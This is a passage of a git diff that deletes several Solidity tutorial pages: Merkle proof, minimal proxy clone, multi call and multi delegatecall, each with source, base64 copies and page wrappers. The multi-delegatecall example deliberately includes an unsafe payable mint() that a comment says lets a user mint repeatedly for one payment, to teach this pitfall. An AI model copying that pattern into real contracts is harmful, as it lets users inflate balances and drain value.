AyKSB7CiAgICAgICAgICAgICAgICBoYXNoZXMucHVzaCgKICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoaGFzaGVzW29mZnNldCArIGldLCBoYXNoZXNbb2Zmc2V0ICsgaSArIDFdKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgb2Zmc2V0ICs9IG47CiAgICAgICAgICAgIG4gPSBuIC8gMjsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Um9vdCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gaGFzaGVzW2hhc2hlcy5sZW5ndGggLSAxXTsKICAgIH0KCiAgICAvKiB2ZXJpZnkKICAgIDNyZCBsZWFmCiAgICAweGRjYTMzMjZhZDdlODEyMWJmOWNmOWMxMjMzM2U2YjIyNzFhYmU4MjNlYzllZGZlNDJmODEzYjFlNzY4ZmE1N2IKCiAgICByb290CiAgICAweGNjMDg2ZmNjMDM4MTg5YjQ2NDFkYjJjYzRmMWRlM2JiMTMyYWVmYmQ2NWQ1MTBkODE3NTkxNTUwOTM3ODE4YzcKCiAgICBpbmRleAogICAgMgoKICAgIHByb29mCiAgICAweDhkYTllMWM4MjBmOWRiZDE1ODlmZDY1ODU4NzJiYzEwNjM1ODg2MjU3MjllN2FiMDc5N2NmYzYzYTAwYmQ5NTAKICAgIDB4OTk1Nzg4ZmZjMTAzYjk4N2FkNTBmNWU1NzA3ZmQwOTQ0MTllYjEyZDk1NTJjYzQyM2JkMGNkODZhMzg2MTQzMwogICAgKi8KfQo=", - }, -] - -const html = `

Merkle tree allows you to cryptographically prove that an element is contained

-

in a set without revealing the entire set.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract MerkleProof {
-    function verify(
-        bytes32[] memory proof,
-        bytes32 root,
-        bytes32 leaf,
-        uint index
-    ) public pure returns (bool) {
-        bytes32 hash = leaf;
-
-        for (uint i = 0; i < proof.length; i++) {
-            bytes32 proofElement = proof[i];
-
-            if (index % 2 == 0) {
-                hash = keccak256(abi.encodePacked(hash, proofElement));
-            } else {
-                hash = keccak256(abi.encodePacked(proofElement, hash));
-            }
-
-            index = index / 2;
-        }
-
-        return hash == root;
-    }
-}
-
-contract TestMerkleProof is MerkleProof {
-    bytes32[] public hashes;
-
-    constructor() {
-        string[4] memory transactions = [
-            "alice -> bob",
-            "bob -> dave",
-            "carol -> alice",
-            "dave -> bob"
-        ];
-
-        for (uint i = 0; i < transactions.length; i++) {
-            hashes.push(keccak256(abi.encodePacked(transactions[i])));
-        }
-
-        uint n = transactions.length;
-        uint offset = 0;
-
-        while (n > 0) {
-            for (uint i = 0; i < n - 1; i += 2) {
-                hashes.push(
-                    keccak256(
-                        abi.encodePacked(hashes[offset + i], hashes[offset + i + 1])
-                    )
-                );
-            }
-            offset += n;
-            n = n / 2;
-        }
-    }
-
-    function getRoot() public view returns (bytes32) {
-        return hashes[hashes.length - 1];
-    }
-
-    /* verify
-    3rd leaf
-    0xdca3326ad7e8121bf9cf9c12333e6b2271abe823ec9edfe42f813b1e768fa57b
-
-    root
-    0xcc086fcc038189b4641db2cc4f1de3bb132aefbd65d510d817591550937818c7
-
-    index
-    2
-
-    proof
-    0x8da9e1c820f9dbd1589fd6585872bc1063588625729e7ab0797cfc63a00bd950
-    0x995788ffc103b987ad50f5e5707fd094419eb12d9552cc423bd0cd86a3861433
-    */
-}
-
` - -export default html diff --git a/src/pages/app/merkle-tree/index.md b/src/pages/app/merkle-tree/index.md deleted file mode 100644 index e8d8d7d9b..000000000 --- a/src/pages/app/merkle-tree/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Merkle Tree -version: 0.8.20 -description: Learn about Merkle tree in Solidity -keywords: [app, application, merkle, tree, cryptography] ---- - -Merkle tree allows you to cryptographically prove that an element is contained - -in a set without revealing the entire set. - -```solidity -{{{MerkleTree}}} -``` diff --git a/src/pages/app/merkle-tree/index.tsx b/src/pages/app/merkle-tree/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/merkle-tree/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/minimal-proxy/MinimalProxy.sol b/src/pages/app/minimal-proxy/MinimalProxy.sol deleted file mode 100644 index d593d7c70..000000000 --- a/src/pages/app/minimal-proxy/MinimalProxy.sol +++ /dev/null @@ -1,71 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -// original code -// https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol - -contract MinimalProxy { - function clone(address target) external returns (address result) { - // convert address to 20 bytes - bytes20 targetBytes = bytes20(target); - - // actual code // - // 3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe5af43d82803e903d91602b57fd5bf3 - - // creation code // - // copy runtime code into memory and return it - // 3d602d80600a3d3981f3 - - // runtime code // - // code to delegatecall to address - // 363d3d373d3d3d363d73 address 5af43d82803e903d91602b57fd5bf3 - - assembly { - /* - reads the 32 bytes of memory starting at pointer stored in 0x40 - - In solidity, the 0x40 slot in memory is special: it contains the "free memory pointer" - which points to the end of the currently allocated memory. - */ - let clone := mload(0x40) - // store 32 bytes to memory starting at "clone" - mstore( - clone, - 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 - ) - - /* - | 20 bytes | - 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 - ^ - pointer - */ - // store 32 bytes to memory starting at "clone" + 20 bytes - // 0x14 = 20 - mstore(add(clone, 0x14), targetBytes) - - /* - | 20 bytes | 20 bytes | - 0x3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe - ^ - pointer - */ - // store 32 bytes to memory starting at "clone" + 40 bytes - // 0x28 = 40 - mstore( - add(clone, 0x28), - 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 - ) - - /* - | 20 bytes | 20 bytes | 15 bytes | - 0x3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe5af43d82803e903d91602b57fd5bf3 - */ - // create new contract - // send 0 Ether - // code starts at pointer stored in "clone" - // code size 0x37 (55 bytes) - result := create(0, clone, 0x37) - } - } -} diff --git a/src/pages/app/minimal-proxy/index.html.ts b/src/pages/app/minimal-proxy/index.html.ts deleted file mode 100644 index 29763ee7c..000000000 --- a/src/pages/app/minimal-proxy/index.html.ts +++ /dev/null @@ -1,89 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Minimal Proxy Contract" -export const description = "Deploy contracts cheaply with minimal proxy contract" - -export const keywords = ["app", "application", "minimal", "proxy", "contract"] - -export const codes = [ - { - fileName: "MinimalProxy.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYWN0IE1pbmltYWxQcm94eSB7CiAgICBmdW5jdGlvbiBjbG9uZShhZGRyZXNzIHRhcmdldCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyByZXN1bHQpIHsKICAgICAgICAvLyBjb252ZXJ0IGFkZHJlc3MgdG8gMjAgYnl0ZXMKICAgICAgICBieXRlczIwIHRhcmdldEJ5dGVzID0gYnl0ZXMyMCh0YXJnZXQpOwoKICAgICAgICAvLyBhY3R1YWwgY29kZSAvLwogICAgICAgIC8vIDNkNjAyZDgwNjAwYTNkMzk4MWYzMzYzZDNkMzczZDNkM2QzNjNkNzNiZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIC8vIGNyZWF0aW9uIGNvZGUgLy8KICAgICAgICAvLyBjb3B5IHJ1bnRpbWUgY29kZSBpbnRvIG1lbW9yeSBhbmQgcmV0dXJuIGl0CiAgICAgICAgLy8gM2Q2MDJkODA2MDBhM2QzOTgxZjMKCiAgICAgICAgLy8gcnVudGltZSBjb2RlIC8vCiAgICAgICAgLy8gY29kZSB0byBkZWxlZ2F0ZWNhbGwgdG8gYWRkcmVzcwogICAgICAgIC8vIDM2M2QzZDM3M2QzZDNkMzYzZDczIGFkZHJlc3MgNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgcmVhZHMgdGhlIDMyIGJ5dGVzIG9mIG1lbW9yeSBzdGFydGluZyBhdCBwb2ludGVyIHN0b3JlZCBpbiAweDQwCgogICAgICAgICAgICBJbiBzb2xpZGl0eSwgdGhlIDB4NDAgc2xvdCBpbiBtZW1vcnkgaXMgc3BlY2lhbDogaXQgY29udGFpbnMgdGhlICJmcmVlIG1lbW9yeSBwb2ludGVyIgogICAgICAgICAgICB3aGljaCBwb2ludHMgdG8gdGhlIGVuZCBvZiB0aGUgY3VycmVudGx5IGFsbG9jYXRlZCBtZW1vcnkuCiAgICAgICAgICAgICovCiAgICAgICAgICAgIGxldCBjbG9uZSA6PSBtbG9hZCgweDQwKQogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIgogICAgICAgICAgICBtc3RvcmUoCiAgICAgICAgICAgICAgICBjbG9uZSwKICAgICAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAgICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg==", - }, -] - -const html = `

If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-// original code
-// https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol
-
-contract MinimalProxy {
-    function clone(address target) external returns (address result) {
-        // convert address to 20 bytes
-        bytes20 targetBytes = bytes20(target);
-
-        // actual code //
-        // 3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe5af43d82803e903d91602b57fd5bf3
-
-        // creation code //
-        // copy runtime code into memory and return it
-        // 3d602d80600a3d3981f3
-
-        // runtime code //
-        // code to delegatecall to address
-        // 363d3d373d3d3d363d73 address 5af43d82803e903d91602b57fd5bf3
-
-        assembly {
-            /*
-            reads the 32 bytes of memory starting at pointer stored in 0x40
-
-            In solidity, the 0x40 slot in memory is special: it contains the "free memory pointer"
-            which points to the end of the currently allocated memory.
-            */
-            let clone := mload(0x40)
-            // store 32 bytes to memory starting at "clone"
-            mstore(
-                clone,
-                0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
-            )
-
-            /*
-              |              20 bytes                |
-            0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
-                                                      ^
-                                                      pointer
-            */
-            // store 32 bytes to memory starting at "clone" + 20 bytes
-            // 0x14 = 20
-            mstore(add(clone, 0x14), targetBytes)
-
-            /*
-              |               20 bytes               |                 20 bytes              |
-            0x3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe
-                                                                                              ^
-                                                                                              pointer
-            */
-            // store 32 bytes to memory starting at "clone" + 40 bytes
-            // 0x28 = 40
-            mstore(
-                add(clone, 0x28),
-                0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
-            )
-
-            /*
-              |               20 bytes               |                 20 bytes              |           15 bytes          |
-            0x3d602d80600a3d3981f3363d3d373d3d3d363d73bebebebebebebebebebebebebebebebebebebebe5af43d82803e903d91602b57fd5bf3
-            */
-            // create new contract
-            // send 0 Ether
-            // code starts at pointer stored in "clone"
-            // code size 0x37 (55 bytes)
-            result := create(0, clone, 0x37)
-        }
-    }
-}
-
` - -export default html diff --git a/src/pages/app/minimal-proxy/index.md b/src/pages/app/minimal-proxy/index.md deleted file mode 100644 index f5ec7511f..000000000 --- a/src/pages/app/minimal-proxy/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Minimal Proxy Contract -version: 0.8.20 -description: Deploy contracts cheaply with minimal proxy contract -keywords: [app, application, minimal, proxy, contract] ---- - -If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply. - -```solidity -{{{MinimalProxy}}} -``` diff --git a/src/pages/app/minimal-proxy/index.tsx b/src/pages/app/minimal-proxy/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/minimal-proxy/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/multi-call/MultiCall.sol b/src/pages/app/multi-call/MultiCall.sol deleted file mode 100644 index acdf2819f..000000000 --- a/src/pages/app/multi-call/MultiCall.sol +++ /dev/null @@ -1,21 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract MultiCall { - function multiCall( - address[] calldata targets, - bytes[] calldata data - ) external view returns (bytes[] memory) { - require(targets.length == data.length, "target length != data length"); - - bytes[] memory results = new bytes[](data.length); - - for (uint i; i < targets.length; i++) { - (bool success, bytes memory result) = targets[i].staticcall(data[i]); - require(success, "call failed"); - results[i] = result; - } - - return results; - } -} diff --git a/src/pages/app/multi-call/TestMultiCall.sol b/src/pages/app/multi-call/TestMultiCall.sol deleted file mode 100644 index d861363ae..000000000 --- a/src/pages/app/multi-call/TestMultiCall.sol +++ /dev/null @@ -1,12 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract TestMultiCall { - function test(uint _i) external pure returns (uint) { - return _i; - } - - function getData(uint _i) external pure returns (bytes memory) { - return abi.encodeWithSelector(this.test.selector, _i); - } -} diff --git a/src/pages/app/multi-call/index.html.ts b/src/pages/app/multi-call/index.html.ts deleted file mode 100644 index 3fc1a131d..000000000 --- a/src/pages/app/multi-call/index.html.ts +++ /dev/null @@ -1,56 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Multi Call" -export const description = "An example of contract to aggregate multiple calls." - -export const keywords = ["app", "application", "multi", "call", "staticcall"] - -export const codes = [ - { - fileName: "MultiCall.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE11bHRpQ2FsbCB7CiAgICBmdW5jdGlvbiBtdWx0aUNhbGwoCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHRhcmdldHMsCiAgICAgICAgYnl0ZXNbXSBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYnl0ZXNbXSBtZW1vcnkpIHsKICAgICAgICByZXF1aXJlKHRhcmdldHMubGVuZ3RoID09IGRhdGEubGVuZ3RoLCAidGFyZ2V0IGxlbmd0aCAhPSBkYXRhIGxlbmd0aCIpOwoKICAgICAgICBieXRlc1tdIG1lbW9yeSByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IHRhcmdldHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSB0YXJnZXRzW2ldLnN0YXRpY2NhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIHJlcXVpcmUoc3VjY2VzcywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgICAgIHJlc3VsdHNbaV0gPSByZXN1bHQ7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcmVzdWx0czsKICAgIH0KfQo=", - }, - { - fileName: "TestMultiCall.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRlc3RNdWx0aUNhbGwgewogICAgZnVuY3Rpb24gdGVzdCh1aW50IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gX2k7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RGF0YSh1aW50IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKHRoaXMudGVzdC5zZWxlY3RvciwgX2kpOwogICAgfQp9Cg==", - }, -] - -const html = `

An example of contract that aggregates multiple queries using a for loop and staticcall.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract MultiCall {
-    function multiCall(
-        address[] calldata targets,
-        bytes[] calldata data
-    ) external view returns (bytes[] memory) {
-        require(targets.length == data.length, "target length != data length");
-
-        bytes[] memory results = new bytes[](data.length);
-
-        for (uint i; i < targets.length; i++) {
-            (bool success, bytes memory result) = targets[i].staticcall(data[i]);
-            require(success, "call failed");
-            results[i] = result;
-        }
-
-        return results;
-    }
-}
-

Contract to test MultiCall

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract TestMultiCall {
-    function test(uint _i) external pure returns (uint) {
-        return _i;
-    }
-
-    function getData(uint _i) external pure returns (bytes memory) {
-        return abi.encodeWithSelector(this.test.selector, _i);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/multi-call/index.md b/src/pages/app/multi-call/index.md deleted file mode 100644 index 2eac0d9f5..000000000 --- a/src/pages/app/multi-call/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Multi Call -version: 0.8.20 -description: An example of contract to aggregate multiple calls. -keywords: [app, application, multi, call, staticcall] ---- - -An example of contract that aggregates multiple queries using a for loop and `staticcall`. - -```solidity -{{{MultiCall}}} -``` - -Contract to test `MultiCall` - -```solidity -{{{TestMultiCall}}} -``` diff --git a/src/pages/app/multi-call/index.tsx b/src/pages/app/multi-call/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/multi-call/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/multi-delegatecall/MultiDelegatecall.sol b/src/pages/app/multi-delegatecall/MultiDelegatecall.sol deleted file mode 100644 index f727e7df4..000000000 --- a/src/pages/app/multi-delegatecall/MultiDelegatecall.sol +++ /dev/null @@ -1,60 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract MultiDelegatecall { - error DelegatecallFailed(); - - function multiDelegatecall( - bytes[] memory data - ) external payable returns (bytes[] memory results) { - results = new bytes[](data.length); - - for (uint i; i < data.length; i++) { - (bool ok, bytes memory res) = address(this).delegatecall(data[i]); - if (!ok) { - revert DelegatecallFailed(); - } - results[i] = res; - } - } -} - -// Why use multi delegatecall? Why not multi call? -// alice -> multi call --- call ---> test (msg.sender = multi call) -// alice -> test --- delegatecall ---> test (msg.sender = alice) -contract TestMultiDelegatecall is MultiDelegatecall { - event Log(address caller, string func, uint i); - - function func1(uint x, uint y) external { - // msg.sender = alice - emit Log(msg.sender, "func1", x + y); - } - - function func2() external returns (uint) { - // msg.sender = alice - emit Log(msg.sender, "func2", 2); - return 111; - } - - mapping(address => uint) public balanceOf; - - // WARNING: unsafe code when used in combination with multi-delegatecall - // user can mint multiple times for the price of msg.value - function mint() external payable { - balanceOf[msg.sender] += msg.value; - } -} - -contract Helper { - function getFunc1Data(uint x, uint y) external pure returns (bytes memory) { - return abi.encodeWithSelector(TestMultiDelegatecall.func1.selector, x, y); - } - - function getFunc2Data() external pure returns (bytes memory) { - return abi.encodeWithSelector(TestMultiDelegatecall.func2.selector); - } - - function getMintData() external pure returns (bytes memory) { - return abi.encodeWithSelector(TestMultiDelegatecall.mint.selector); - } -} diff --git a/src/pages/app/multi-delegatecall/index.html.ts b/src/pages/app/multi-delegatecall/index.html.ts deleted file mode 100644 index 4007a2a1f..000000000 --- a/src/pages/app/multi-delegatecall/index.html.ts +++ /dev/null @@ -1,79 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Multi Delegatecall" -export const description = - "An example of contract to call multiple functions in a single transaction" - -export const keywords = ["app", "application", "multi", "delegatecall"] - -export const codes = [ - { - fileName: "MultiDelegatecall.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE11bHRpRGVsZWdhdGVjYWxsIHsKICAgIGVycm9yIERlbGVnYXRlY2FsbEZhaWxlZCgpOwoKICAgIGZ1bmN0aW9uIG11bHRpRGVsZWdhdGVjYWxsKAogICAgICAgIGJ5dGVzW10gbWVtb3J5IGRhdGEKICAgICkgZXh0ZXJuYWwgcGF5YWJsZSByZXR1cm5zIChieXRlc1tdIG1lbW9yeSByZXN1bHRzKSB7CiAgICAgICAgcmVzdWx0cyA9IG5ldyBieXRlc1tdKGRhdGEubGVuZ3RoKTsKCiAgICAgICAgZm9yICh1aW50IGk7IGkgPCBkYXRhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IGFkZHJlc3ModGhpcykuZGVsZWdhdGVjYWxsKGRhdGFbaV0pOwogICAgICAgICAgICBpZiAoIW9rKSB7CiAgICAgICAgICAgICAgICByZXZlcnQgRGVsZWdhdGVjYWxsRmFpbGVkKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmVzdWx0c1tpXSA9IHJlczsKICAgICAgICB9CiAgICB9Cn0KCi8vIFdoeSB1c2UgbXVsdGkgZGVsZWdhdGVjYWxsPyBXaHkgbm90IG11bHRpIGNhbGw/Ci8vIGFsaWNlIC0+IG11bHRpIGNhbGwgLS0tIGNhbGwgLS0tPiB0ZXN0IChtc2cuc2VuZGVyID0gbXVsdGkgY2FsbCkKLy8gYWxpY2UgLT4gdGVzdCAtLS0gZGVsZWdhdGVjYWxsIC0tLT4gdGVzdCAobXNnLnNlbmRlciA9IGFsaWNlKQpjb250cmFjdCBUZXN0TXVsdGlEZWxlZ2F0ZWNhbGwgaXMgTXVsdGlEZWxlZ2F0ZWNhbGwgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgY2FsbGVyLCBzdHJpbmcgZnVuYywgdWludCBpKTsKCiAgICBmdW5jdGlvbiBmdW5jMSh1aW50IHgsIHVpbnQgeSkgZXh0ZXJuYWwgewogICAgICAgIC8vIG1zZy5zZW5kZXIgPSBhbGljZQogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJmdW5jMSIsIHggKyB5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBmdW5jMigpIGV4dGVybmFsIHJldHVybnMgKHVpbnQpIHsKICAgICAgICAvLyBtc2cuc2VuZGVyID0gYWxpY2UKICAgICAgICBlbWl0IExvZyhtc2cuc2VuZGVyLCAiZnVuYzIiLCAyKTsKICAgICAgICByZXR1cm4gMTExOwogICAgfQoKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50KSBwdWJsaWMgYmFsYW5jZU9mOwoKICAgIC8vIFdBUk5JTkc6IHVuc2FmZSBjb2RlIHdoZW4gdXNlZCBpbiBjb21iaW5hdGlvbiB3aXRoIG11bHRpLWRlbGVnYXRlY2FsbAogICAgLy8gdXNlciBjYW4gbWludCBtdWx0aXBsZSB0aW1lcyBmb3IgdGhlIHByaWNlIG9mIG1zZy52YWx1ZQogICAgZnVuY3Rpb24gbWludCgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSArPSBtc2cudmFsdWU7CiAgICB9Cn0KCmNvbnRyYWN0IEhlbHBlciB7CiAgICBmdW5jdGlvbiBnZXRGdW5jMURhdGEodWludCB4LCB1aW50IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoVGVzdE11bHRpRGVsZWdhdGVjYWxsLmZ1bmMxLnNlbGVjdG9yLCB4LCB5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRGdW5jMkRhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5mdW5jMi5zZWxlY3Rvcik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TWludERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2F